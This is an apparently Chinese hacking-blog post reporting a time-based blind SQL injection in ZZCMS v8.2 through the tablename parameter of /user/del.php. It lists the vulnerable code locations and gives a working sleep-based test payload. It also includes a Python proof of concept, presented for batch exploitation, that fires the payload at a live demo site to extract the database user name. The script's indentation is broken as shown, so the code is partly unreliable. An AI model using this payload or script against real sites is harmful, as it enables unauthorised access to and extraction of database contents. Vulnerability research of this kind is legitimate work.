危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2309 浏览21784432

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞


时间概述


近期在一直都在审核CMS漏洞,连续数日,一无所获,甚是无聊,略有些许焦躁。


暮然回首,桌角横幅,挚友所赠,书:《戒急用忍》,回想四爷当年之景,于今日此情此景,不甚寂寥。稍有感慨,正值审至ZZCMS V8.2,现SQL注入漏洞。大喜。


1.白盒审计


运用白盒审计工具,发现隐于暗处之SQL注入漏洞:/user/del.php 


代码位置: /user/del.php 12行,获取参数。



由于存在checkid() 导致 $id无法进行注入,checkid() 代码如图。


代码位置:/inc/function.php  49行



在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。



$tablename 可控,可以进行SQL注入。由于$tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。


2.漏洞利用


测试payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23


测试结果如图。



3.POC


用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。


#!/usr/bin/env python

# -*- coding: utf-8 -*-

import requests

import time


payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串

url = "http://demo.zzcms.net/user/del.php"

user = ''

for i in range(1, 2):

        for payload in payloads:    #遍历取出字符

                startTime = time.time()

                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")

                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )

if time.time() - startTime > 5:

                        user = payload

print 'user is:', user

break

print '\n[Done] current user is %s' % user


至此,终结。缺少一些华丽的语坠,多了一些大家都想知道的技术干货,我觉着这样挺好~~